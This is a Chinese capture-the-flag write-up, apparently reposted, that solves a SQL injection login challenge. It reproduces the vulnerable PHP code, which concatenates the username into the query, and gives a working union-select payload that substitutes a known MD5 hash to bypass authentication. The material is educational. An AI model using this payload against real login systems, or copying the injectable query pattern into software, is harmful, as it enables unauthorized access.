碼南郵CTF一道簡單的sql注入題目


  題目地址:http://chinalover.sinaapp.com/web6/index.php


  一看有源碼,必須馬上點擊Source,真香……

 

  思路還是很清晰的,提交用戶名參數和密碼參數,拼接sql查詢語句,密碼的md5值和用戶名對應記錄的密碼一致,則輸出flag。顯然我們也不知道username值可能是啥,sql注入實錘了,在username字段做寫文章。

  首先就是sql語句的拼接,閉合左單引號然后右單引號注釋掉。中間用union聯合查詢讓我們傳入的password的md5值頂替對應pw字段。

  可以搭建環境測試以下,如下進行簡單修改:

 1 <html>
 2 <head>
 3 <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
 4     <title>Secure Web Login II</title>
 5 </head>
 6 <body bgcolor="BurlyWood">
 7 
 8 <?php
 9 $dbuser = 'root';     //SAE_MYSQL_USER
10 $dbpass = 'root';     //SAE_MYSQL_PASS
11 $dbname = "dvwa";      //SAE_MYSQL_DB
12 $host = 'localhost';  //SAE_MYSQL_HOST_M
13 if (@$_POST['user'] && @$_POST['pass']) {
14     $con = mysql_connect($host, $dbuser, $dbpass);
15     mysql_select_db($dbname, $con) or die("Unable to connect to the database: $dbname");
16     $user = $_POST['user'];
17     $pass = md5($_POST['pass']);
18     echo "username:$user<br/>";
19     echo "password:$_POST['pass']<br/>";
20     echo "password after hash:'$pass'<br/>";
21     echo "select password from users where user='$user'<br/>";
22     $query = @mysql_fetch_array(mysql_query("select password from users where user='$user'"));
23     echo "query of password:" . $query['password'] . "<br/>";
24     if (($query['password']) && (!strcasecmp($pass, $query['password']))) {
25         echo "<h2>Logged in! Key: ntcf{php_is_best} </h2>";
26     } else {
27         echo ("<h2>Log in failure!</h2>");
28     }
29 
30 }
31 ?>
32     <form method='post' action='index.php'>
33     <h3>username:</h3><input type='text' name='user' value="">
34     <h3>password:</h3><input type='password' name='pass' value="">
35     <input type='submit'>
36     </form>
37 </body>
38 </html>

 

  這里白嫖dvwa數據庫的users數據表,來模擬源碼里面的數據庫和數據表,因為密碼剛好存儲的是md5加密后的值:

    

   我admin用戶對應的密碼是123456的md5值。輸入正確的值:

   構造payload先在數據庫一試: (1 的md5是c4ca4238a0b923820dcc509a6f75849b)

' union select 'c4ca4238a0b923820dcc509a6f75849b'#

             

      

  注入成功

            

   # 是數據庫的注釋字符,后面的單引號其實起不到作用。

  因此實際數據庫接受到的語句是:

select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b'#';   

  它等同於查詢:

select password from users where user='' union select 'c4ca4238a0b923820dcc509a6f75849b';   

  即在username輸入:' union select 'c4ca4238a0b923820dcc509a6f75849b'#

  password輸入:1    點擊提交查詢

    

   done

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM